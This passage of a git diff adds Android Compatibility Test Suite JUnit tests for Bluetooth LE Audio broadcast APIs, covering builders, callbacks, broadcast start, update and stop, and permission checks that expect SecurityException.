+            boolean isBroadcastSourceEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastSourceEnabledInConfig);
+        }
+    }
+
+    @After
+    public void tearDown() {
+        if (mHasBluetooth) {
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
+            mAdapter = null;
+            TestUtils.dropPermissionAsShellUid();
+        }
+    }
+
+    @Test
+    public void testCreateBroadcastSubgroupFromBuilder() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
+        BluetoothLeAudioContentMetadata contentMetadata =
+                new BluetoothLeAudioContentMetadata.Builder()
+                        .setProgramInfo(TEST_PROGRAM_INFO).setLanguage(TEST_LANGUAGE).build();
+        BluetoothLeBroadcastSubgroup.Builder builder = new BluetoothLeBroadcastSubgroup.Builder()
+                .setCodecId(TEST_CODEC_ID)
+                .setCodecSpecificConfig(codecMetadata)
+                .setContentMetadata(contentMetadata);
+        for (BluetoothLeBroadcastChannel channel : TEST_CHANNELS) {
+            builder.addChannel(channel);
+        }
+        BluetoothLeBroadcastSubgroup subgroup = builder.build();
+        assertEquals(TEST_CODEC_ID, subgroup.getCodecId());
+        assertEquals(codecMetadata, subgroup.getCodecSpecificConfig());
+        assertEquals(contentMetadata, subgroup.getContentMetadata());
+        assertTrue(subgroup.hasChannelPreference());
+        assertArrayEquals(TEST_CHANNELS,
+                subgroup.getChannels().toArray(new BluetoothLeBroadcastChannel[0]));
+        builder.clearChannel();
+        // builder expect at least one channel
+        assertThrows(IllegalArgumentException.class, builder::build);
+    }
+
+    @Test
+    public void testCreateBroadcastSubgroupFromCopy() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
+        BluetoothLeAudioContentMetadata contentMetadata =
+                new BluetoothLeAudioContentMetadata.Builder()
+                        .setProgramInfo(TEST_PROGRAM_INFO).setLanguage(TEST_LANGUAGE).build();
+        BluetoothLeBroadcastSubgroup.Builder builder = new BluetoothLeBroadcastSubgroup.Builder()
+                .setCodecId(TEST_CODEC_ID)
+                .setCodecSpecificConfig(codecMetadata)
+                .setContentMetadata(contentMetadata);
+        for (BluetoothLeBroadcastChannel channel : TEST_CHANNELS) {
+            builder.addChannel(channel);
+        }
+        BluetoothLeBroadcastSubgroup subgroup = builder.build();
+        BluetoothLeBroadcastSubgroup subgroupCopy =
+                new BluetoothLeBroadcastSubgroup.Builder(subgroup).build();
+        assertEquals(TEST_CODEC_ID, subgroupCopy.getCodecId());
+        assertEquals(codecMetadata, subgroupCopy.getCodecSpecificConfig());
+        assertEquals(contentMetadata, subgroupCopy.getContentMetadata());
+        assertTrue(subgroupCopy.hasChannelPreference());
+        assertArrayEquals(TEST_CHANNELS,
+                subgroupCopy.getChannels().toArray(new BluetoothLeBroadcastChannel[0]));
+        builder.clearChannel();
+        // builder expect at least one channel
+        assertThrows(IllegalArgumentException.class, builder::build);
+    }
+
+    private boolean shouldSkipTest() {
+        return !mHasBluetooth || (!mIsBroadcastSourceSupported && !mIsBroadcastAssistantSupported);
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastTest.java
new file mode 100644
index 0000000..64d3000
--- /dev/null
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeBroadcastTest.java
@@ -0,0 +1,729 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.bluetooth.cts;
+
+import static android.Manifest.permission.BLUETOOTH_CONNECT;
+import static android.Manifest.permission.BLUETOOTH_PRIVILEGED;
+import static android.bluetooth.BluetoothStatusCodes.FEATURE_SUPPORTED;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertThrows;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+
+import android.bluetooth.BluetoothAdapter;
+import android.bluetooth.BluetoothDevice;
+import android.bluetooth.BluetoothLeAudioCodecConfigMetadata;
+import android.bluetooth.BluetoothLeAudioContentMetadata;
+import android.bluetooth.BluetoothLeBroadcast;
+import android.bluetooth.BluetoothLeBroadcastChannel;
+import android.bluetooth.BluetoothLeBroadcastMetadata;
+import android.bluetooth.BluetoothLeBroadcastSubgroup;
+import android.bluetooth.BluetoothProfile;
+import android.bluetooth.BluetoothStatusCodes;
+import android.content.Context;
+import android.os.Build;
+import android.util.Log;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+import androidx.test.filters.SmallTest;
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CddTest;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.Executor;
+import java.util.concurrent.TimeUnit;
+import java.util.concurrent.locks.Condition;
+import java.util.concurrent.locks.ReentrantLock;
+
+@RunWith(AndroidJUnit4.class)
+@SmallTest
+public class BluetoothLeBroadcastTest {
+    private static final String TAG = BluetoothLeBroadcastTest.class.getSimpleName();
+
+    private static final int PROXY_CONNECTION_TIMEOUT_MS = 500;  // ms timeout for Proxy Connect
+
+    private static final String TEST_MAC_ADDRESS = "00:11:22:33:44:55";
+    private static final int TEST_BROADCAST_ID = 42;
+    private static final int TEST_ADVERTISER_SID = 1234;
+    private static final int TEST_PA_SYNC_INTERVAL = 100;
+    private static final int TEST_PRESENTATION_DELAY_MS = 345;
+
+    private static final int TEST_CODEC_ID = 42;
+    private static final int TEST_CHANNEL_INDEX = 56;
+
+    // For BluetoothLeAudioCodecConfigMetadata
+    private static final long TEST_AUDIO_LOCATION_FRONT_LEFT = 0x01;
+    private static final long TEST_AUDIO_LOCATION_FRONT_RIGHT = 0x02;
+
+    // For BluetoothLeAudioContentMetadata
+    private static final String TEST_PROGRAM_INFO = "Test";
+    // German language code in ISO 639-3
+    private static final String TEST_LANGUAGE = "deu";
+
+    private static final int TEST_REASON = BluetoothStatusCodes.REASON_LOCAL_STACK_REQUEST;
+
+    private Context mContext;
+    private boolean mHasBluetooth;
+    private BluetoothAdapter mAdapter;
+
+    private BluetoothLeBroadcast mBluetoothLeBroadcast;
+    private boolean mIsLeBroadcastSupported;
+    private boolean mIsProfileReady;
+    private Condition mConditionProfileIsConnected;
+    private ReentrantLock mProfileConnectedlock;
+
+    private boolean mOnBroadcastStartedCalled = false;
+    private boolean mOnBroadcastStartFailedCalled = false;
+    private boolean mOnBroadcastStoppedCalled = false;
+    private boolean mOnBroadcastStopFailedCalled = false;
+    private boolean mOnPlaybackStartedCalled = false;
+    private boolean mOnPlaybackStoppedCalled = false;
+    private boolean mOnBroadcastUpdatedCalled = false;
+    private boolean mOnBroadcastUpdateFailedCalled = false;
+    private boolean mOnBroadcastMetadataChangedCalled = false;
+
+    private BluetoothLeBroadcastMetadata mTestMetadata;
+    private CountDownLatch mCallbackCountDownLatch;
+
+    BluetoothLeBroadcastSubgroup createBroadcastSubgroup() {
+        BluetoothLeAudioCodecConfigMetadata codecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_LEFT).build();
+        BluetoothLeAudioContentMetadata contentMetadata =
+                new BluetoothLeAudioContentMetadata.Builder()
+                        .setProgramInfo(TEST_PROGRAM_INFO).setLanguage(TEST_LANGUAGE).build();
+        BluetoothLeBroadcastSubgroup.Builder builder = new BluetoothLeBroadcastSubgroup.Builder()
+                .setCodecId(TEST_CODEC_ID)
+                .setCodecSpecificConfig(codecMetadata)
+                .setContentMetadata(contentMetadata);
+
+        BluetoothLeAudioCodecConfigMetadata channelCodecMetadata =
+                new BluetoothLeAudioCodecConfigMetadata.Builder()
+                        .setAudioLocation(TEST_AUDIO_LOCATION_FRONT_RIGHT).build();
+
+        // builder expect at least one channel
+        BluetoothLeBroadcastChannel channel =
+                new BluetoothLeBroadcastChannel.Builder()
+                        .setSelected(true)
+                        .setChannelIndex(TEST_CHANNEL_INDEX)
+                        .setCodecMetadata(channelCodecMetadata)
+                        .build();
+        builder.addChannel(channel);
+        return builder.build();
+    }
+
+    BluetoothLeBroadcastMetadata createBroadcastMetadata() {
+        BluetoothDevice testDevice =
+                mAdapter.getRemoteLeDevice(TEST_MAC_ADDRESS, BluetoothDevice.ADDRESS_TYPE_RANDOM);
+
+        BluetoothLeBroadcastMetadata.Builder builder = new BluetoothLeBroadcastMetadata.Builder()
+                .setEncrypted(false)
+                .setSourceDevice(testDevice, BluetoothDevice.ADDRESS_TYPE_RANDOM)
+                .setSourceAdvertisingSid(TEST_ADVERTISER_SID)
+                .setBroadcastId(TEST_BROADCAST_ID)
+                .setBroadcastCode(null)
+                .setPaSyncInterval(TEST_PA_SYNC_INTERVAL)
+                .setPresentationDelayMicros(TEST_PRESENTATION_DELAY_MS);
+        // builder expect at least one subgroup
+        builder.addSubgroup(createBroadcastSubgroup());
+        return builder.build();
+    }
+
+    @Before
+    public void setUp() {
+        mContext = InstrumentationRegistry.getInstrumentation().getContext();
+        if (!ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU)) {
+            return;
+        }
+        mHasBluetooth = TestUtils.hasBluetooth();
+        if (!mHasBluetooth) {
+            return;
+        }
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+        mAdapter = TestUtils.getBluetoothAdapterOrDie();
+        assertTrue(BTAdapterUtils.enableAdapter(mAdapter, mContext));
+
+        mProfileConnectedlock = new ReentrantLock();
+        mConditionProfileIsConnected = mProfileConnectedlock.newCondition();
+        mIsProfileReady = false;
+        mBluetoothLeBroadcast = null;
+
+        mIsLeBroadcastSupported =
+                mAdapter.isLeAudioBroadcastSourceSupported() == FEATURE_SUPPORTED;
+        if (mIsLeBroadcastSupported) {
+            boolean isBroadcastSourceEnabledInConfig =
+                    TestUtils.isProfileEnabled(BluetoothProfile.LE_AUDIO_BROADCAST);
+            assertTrue("Config must be true when profile is supported",
+                    isBroadcastSourceEnabledInConfig);
+        }
+        if (!mIsLeBroadcastSupported) {
+            return;
+        }
+
+        mIsLeBroadcastSupported = mAdapter.getProfileProxy(mContext, new ServiceListener(),
+                BluetoothProfile.LE_AUDIO_BROADCAST);
+        assertTrue("Profile proxy should be accessible when profile is supported",
+                mIsLeBroadcastSupported);
+    }
+
+    @After
+    public void tearDown() {
+        if (mHasBluetooth) {
+            if (mBluetoothLeBroadcast != null) {
+                mBluetoothLeBroadcast.close();
+                mBluetoothLeBroadcast = null;
+                mIsProfileReady = false;
+            }
+            if (mAdapter != null) {
+                assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+            }
+            mAdapter = null;
+            TestUtils.dropPermissionAsShellUid();
+        }
+    }
+
+    @Test
+    public void testGetConnectedDevices() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify if asserts as Broadcaster is not connection-oriented profile
+        assertThrows(UnsupportedOperationException.class,
+                () -> mBluetoothLeBroadcast.getConnectedDevices());
+    }
+
+    @Test
+    public void testGetDevicesMatchingConnectionStates() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        // Verify if asserts as Broadcaster is not connection-oriented profile
+        assertThrows(UnsupportedOperationException.class,
+                () -> mBluetoothLeBroadcast.getDevicesMatchingConnectionStates(null));
+    }
+
+    @Test
+    public void testGetConnectionState() {
+        if (shouldSkipTest()) {
+            return;
+        }
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        // Verify if asserts as Broadcaster is not connection-oriented profile
+        assertThrows(UnsupportedOperationException.class,
+                () -> mBluetoothLeBroadcast.getConnectionState(null));
+    }
+
+    @Test
+    public void testProfileSupportLogic() {
+        if (!mHasBluetooth) {
+            return;
+        }
+        if (mAdapter.isLeAudioBroadcastSourceSupported()
+                == BluetoothStatusCodes.FEATURE_NOT_SUPPORTED) {
+            assertFalse(mIsLeBroadcastSupported);
+            return;
+        }
+        assertTrue(mIsLeBroadcastSupported);
+    }
+
+    @Test
+    public void testRegisterUnregisterCallback() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        Executor executor = mContext.getMainExecutor();
+        BluetoothLeBroadcast.Callback callback =
+                new BluetoothLeBroadcast.Callback() {
+                    @Override
+                    public void onBroadcastStarted(int reason, int broadcastId) {}
+                    @Override
+                    public void onBroadcastStartFailed(int reason) {}
+                    @Override
+                    public void onBroadcastStopped(int reason, int broadcastId) {}
+                    @Override
+                    public void onBroadcastStopFailed(int reason) {}
+                    @Override
+                    public void onPlaybackStarted(int reason, int broadcastId) {}
+                    @Override
+                    public void onPlaybackStopped(int reason, int broadcastId) {}
+                    @Override
+                    public void onBroadcastUpdated(int reason, int broadcastId) {}
+                    @Override
+                    public void onBroadcastUpdateFailed(int reason, int broadcastId) {}
+                    @Override
+                    public void onBroadcastMetadataChanged(int broadcastId,
+                            BluetoothLeBroadcastMetadata metadata) {}
+                };
+
+        // Verify invalid parameters
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothLeBroadcast.registerCallback(null, callback));
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothLeBroadcast.registerCallback(executor, null));
+        assertThrows(NullPointerException.class, () ->
+                mBluetoothLeBroadcast.unregisterCallback(null));
+
+        // Verify valid parameters
+        mBluetoothLeBroadcast.registerCallback(executor, callback);
+        mBluetoothLeBroadcast.unregisterCallback(callback);
+    }
+
+    @Test
+    public void testRegisterCallbackNoPermission() {
+        if (shouldSkipTest()) {
+            return;
+        }
+
+        TestUtils.dropPermissionAsShellUid();
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        Executor executor = mContext.getMainExecutor();
+        BluetoothLeBroadcast.Callback callback =
+                new BluetoothLeBroadcast.Callback() {
+                    @Override
+                    public void onBroadcastStarted(int reason, int broadcastId) {}
+                    @Override
+                    public void onBroadcastStartFailed(int reason) {}
+                    @Override
+                    public void onBroadcastStopped(int reason, int broadcastId) {}
+                    @Override
+                    public void onBroadcastStopFailed(int reason) {}
+                    @Override
+                    public void onPlaybackStarted(int reason, int broadcastId) {}
+                    @Override
+                    public void onPlaybackStopped(int reason, int broadcastId) {}
+                    @Override
+                    public void onBroadcastUpdated(int reason, int broadcastId) {}
+                    @Override
+                    public void onBroadcastUpdateFailed(int reason, int broadcastId) {}
+                    @Override
+                    public void onBroadcastMetadataChanged(int broadcastId,
+                            BluetoothLeBroadcastMetadata metadata) {}
+                };
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mBluetoothLeBroadcast.registerCallback(executor, callback));
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+    }
+
+    @Test
+    public void testCallbackCalls() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        BluetoothLeBroadcast.Callback callback =
+                new BluetoothLeBroadcast.Callback() {
+                    @Override
+                    public void onBroadcastStarted(int reason, int broadcastId) {
+                        mOnBroadcastStartedCalled = true;
+                        assertEquals(TEST_BROADCAST_ID, broadcastId);
+                        assertEquals(TEST_REASON, reason);
+                        mCallbackCountDownLatch.countDown();
+                    }
+
+                    @Override
+                    public void onBroadcastStartFailed(int reason) {
+                        mOnBroadcastStartFailedCalled = true;
+                        assertEquals(TEST_REASON, reason);
+                        mCallbackCountDownLatch.countDown();
+                    }
+
+                    @Override
+                    public void onBroadcastStopped(int reason, int broadcastId) {
+                        mOnBroadcastStoppedCalled = true;
+                        assertEquals(TEST_BROADCAST_ID, broadcastId);
+                        assertEquals(TEST_REASON, reason);
+                        mCallbackCountDownLatch.countDown();
+                    }
+
+                    @Override
+                    public void onBroadcastStopFailed(int reason) {
+                        mOnBroadcastStopFailedCalled = true;
+                        assertEquals(TEST_REASON, reason);
+                        mCallbackCountDownLatch.countDown();
+                    }
+
+                    @Override
+                    public void onPlaybackStarted(int reason, int broadcastId) {
+                        mOnPlaybackStartedCalled = true;
+                        assertEquals(TEST_BROADCAST_ID, broadcastId);
+                        assertEquals(TEST_REASON, reason);
+                        mCallbackCountDownLatch.countDown();
+                    }
+
+                    @Override
+                    public void onPlaybackStopped(int reason, int broadcastId) {
+                        mOnPlaybackStoppedCalled = true;
+                        assertEquals(TEST_BROADCAST_ID, broadcastId);
+                        assertEquals(TEST_REASON, reason);
+                        mCallbackCountDownLatch.countDown();
+                    }
+
+                    @Override
+                    public void onBroadcastUpdated(int reason, int broadcastId) {
+                        mOnBroadcastUpdatedCalled = true;
+                        assertEquals(TEST_BROADCAST_ID, broadcastId);
+                        assertEquals(TEST_REASON, reason);
+                        mCallbackCountDownLatch.countDown();
+                    }
+
+                    @Override
+                    public void onBroadcastUpdateFailed(int reason, int broadcastId) {
+                        mOnBroadcastUpdateFailedCalled = true;
+                        assertEquals(TEST_BROADCAST_ID, broadcastId);
+                        assertEquals(TEST_REASON, reason);
+                        mCallbackCountDownLatch.countDown();
+                    }
+
+                    @Override
+                    public void onBroadcastMetadataChanged(int broadcastId,
+                            BluetoothLeBroadcastMetadata metadata) {
+                        mOnBroadcastMetadataChangedCalled = true;
+                        assertEquals(TEST_BROADCAST_ID, broadcastId);
+                        assertEquals(mTestMetadata, metadata);
+                        mCallbackCountDownLatch.countDown();
+                    }
+                };
+
+        mCallbackCountDownLatch = new CountDownLatch(9);
+        try {
+            callback.onBroadcastStarted(TEST_REASON, TEST_BROADCAST_ID);
+            callback.onBroadcastStartFailed(TEST_REASON);
+            callback.onBroadcastStopped(TEST_REASON, TEST_BROADCAST_ID);
+            callback.onBroadcastStopFailed(TEST_REASON);
+            callback.onPlaybackStarted(TEST_REASON, TEST_BROADCAST_ID);
+            callback.onPlaybackStopped(TEST_REASON, TEST_BROADCAST_ID);
+            callback.onBroadcastUpdated(TEST_REASON, TEST_BROADCAST_ID);
+            callback.onBroadcastUpdateFailed(TEST_REASON, TEST_BROADCAST_ID);
+            mTestMetadata = createBroadcastMetadata();
+            callback.onBroadcastMetadataChanged(TEST_BROADCAST_ID, mTestMetadata);
+
+            // Wait for all the callback calls or 5 seconds to verify
+            mCallbackCountDownLatch.await(5, TimeUnit.SECONDS);
+            assertTrue(mOnBroadcastStartedCalled);
+            assertTrue(mOnBroadcastStartFailedCalled);
+            assertTrue(mOnBroadcastStoppedCalled);
+            assertTrue(mOnBroadcastStopFailedCalled);
+            assertTrue(mOnPlaybackStartedCalled);
+            assertTrue(mOnPlaybackStoppedCalled);
+            assertTrue(mOnBroadcastUpdatedCalled);
+            assertTrue(mOnBroadcastUpdateFailedCalled);
+            assertTrue(mOnBroadcastMetadataChangedCalled);
+        } catch (InterruptedException e) {
+            fail("Failed to register callback call: " + e.toString());
+        }
+    }
+
+    @Test
+    public void testStartBroadcast() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        BluetoothLeAudioContentMetadata.Builder contentMetadataBuilder =
+                new BluetoothLeAudioContentMetadata.Builder();
+        byte[] broadcastCode = {1, 2, 3, 4, 5, 6};
+        mBluetoothLeBroadcast.startBroadcast(contentMetadataBuilder.build(), broadcastCode);
+    }
+
+    @Test
+    @CddTest(requirements = {"3.5/C-0-9"})
+    public void testStartBroadcastWithoutPrivilegedPermission() {
+        if (shouldSkipTest()) {
+            return;
+        }
+
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        BluetoothLeAudioContentMetadata.Builder contentMetadataBuilder =
+                new BluetoothLeAudioContentMetadata.Builder();
+        byte[] broadcastCode = {1, 2, 3, 4, 5, 6};
+
+        TestUtils.dropPermissionAsShellUid();
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mBluetoothLeBroadcast.startBroadcast(
+                        contentMetadataBuilder.build(), broadcastCode));
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+    }
+
+    @Test
+    public void testUpdateBroadcast() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        BluetoothLeAudioContentMetadata.Builder contentMetadataBuilder =
+                new BluetoothLeAudioContentMetadata.Builder();
+        mBluetoothLeBroadcast.updateBroadcast(1, contentMetadataBuilder.build());
+    }
+
+    @Test
+    @CddTest(requirements = {"3.5/C-0-9"})
+    public void testUpdateBroadcastWithoutPrivilegedPermission() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        BluetoothLeAudioContentMetadata.Builder contentMetadataBuilder =
+                new BluetoothLeAudioContentMetadata.Builder();
+
+        TestUtils.dropPermissionAsShellUid();
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mBluetoothLeBroadcast.updateBroadcast(1, contentMetadataBuilder.build()));
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+    }
+
+    @Test
+    public void testStopBroadcast() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        mBluetoothLeBroadcast.stopBroadcast(1);
+    }
+
+    @Test
+    @CddTest(requirements = {"3.5/C-0-9"})
+    public void testStopBroadcastWithoutPrivilegedPermission() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        TestUtils.dropPermissionAsShellUid();
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mBluetoothLeBroadcast.stopBroadcast(1));
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+    }
+
+    @Test
+    public void testIsPlaying() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        assertFalse(mBluetoothLeBroadcast.isPlaying(1));
+    }
+
+    @Test
+    @CddTest(requirements = {"3.5/C-0-9"})
+    public void testIsPlayingWithoutPrivilegedPermission() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        TestUtils.dropPermissionAsShellUid();
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mBluetoothLeBroadcast.isPlaying(1));
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+    }
+
+    @Test
+    public void testGetAllBroadcastMetadata() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        List<BluetoothLeBroadcastMetadata> metaList =
+                mBluetoothLeBroadcast.getAllBroadcastMetadata();
+        assertTrue(metaList.isEmpty());
+    }
+
+    @Test
+    @CddTest(requirements = {"3.5/C-0-9"})
+    public void testGetAllBroadcastMetadataWithoutPrivilegedPermission() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        TestUtils.dropPermissionAsShellUid();
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mBluetoothLeBroadcast.getAllBroadcastMetadata());
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+    }
+
+    @Test
+    public void testGetMaximumNumberOfBroadcasts() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        assertEquals(1, mBluetoothLeBroadcast.getMaximumNumberOfBroadcasts());
+    }
+
+    @Test
+    @CddTest(requirements = {"3.5/C-0-9"})
+    public void testGetMaximumNumberOfBroadcastsWithoutPrivilegedPermission() {
+        if (shouldSkipTest()) {
+            return;
+        }
+        assertTrue(waitForProfileConnect());
+        assertNotNull(mBluetoothLeBroadcast);
+
+        assertTrue(BTAdapterUtils.disableAdapter(mAdapter, mContext));
+
+        TestUtils.dropPermissionAsShellUid();
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT);
+
+        // Verify throws SecurityException without permission.BLUETOOTH_PRIVILEGED
+        assertThrows(SecurityException.class,
+                () -> mBluetoothLeBroadcast.getMaximumNumberOfBroadcasts());
+
+        TestUtils.adoptPermissionAsShellUid(BLUETOOTH_CONNECT, BLUETOOTH_PRIVILEGED);
+    }
+
+    private boolean shouldSkipTest() {
+        return !(mHasBluetooth && mIsLeBroadcastSupported);
+    }
+
+    private boolean waitForProfileConnect() {
+        mProfileConnectedlock.lock();
+        try {
+            // Wait for the Adapter to be disabled
+            while (!mIsProfileReady) {
+                if (!mConditionProfileIsConnected.await(
+                        PROXY_CONNECTION_TIMEOUT_MS, TimeUnit.MILLISECONDS)) {
+                    // Timeout
+                    Log.e(TAG, "Timeout while waiting for Profile Connect");
+                    break;
+                } // else spurious wakeups
+            }
+        } catch (InterruptedException e) {
+            Log.e(TAG, "waitForProfileConnect: interrrupted");
+        } finally {
+            mProfileConnectedlock.unlock();
+        }
+        return mIsProfileReady;
+    }
+
+    private final class ServiceListener implements
+            BluetoothProfile.ServiceListener {
+
+        @Override
+        public void onServiceConnected(int profile, BluetoothProfile proxy) {
+            mProfileConnectedlock.lock();
+            mBluetoothLeBroadcast = (BluetoothLeBroadcast) proxy;
+            mIsProfileReady = true;
+            try {
+                mConditionProfileIsConnected.signal();
+            } finally {
+                mProfileConnectedlock.unlock();
+            }
+        }
+
+        @Override
+        public void onServiceDisconnected(int profile) {
+        }
+    }
+}
diff --git a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
index 1036095..2278e86 100644
--- a/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
+++ b/tests/tests/bluetooth/src/android/bluetooth/cts/BluetoothLeScanTest.java
@@ -27,7 +27,6 @@
 import android.bluetooth.le.ScanSettings;
 import android.content.Context;
 import android.content.Intent;
-import android.content.pm.PackageManager;
 import android.os.ParcelUuid;
 import android.os.SystemClock;
 import android.test.AndroidTestCase;
@@ -76,6 +75,8 @@
         if (!TestUtils.isBleSupported(getContext())) {
             return;
         }
+        InstrumentationRegistry.getInstrumentation().getUiAutomation()
+                .adoptShellPermissionIdentity(android.Manifest.permission.BLUETOOTH_CONNECT);
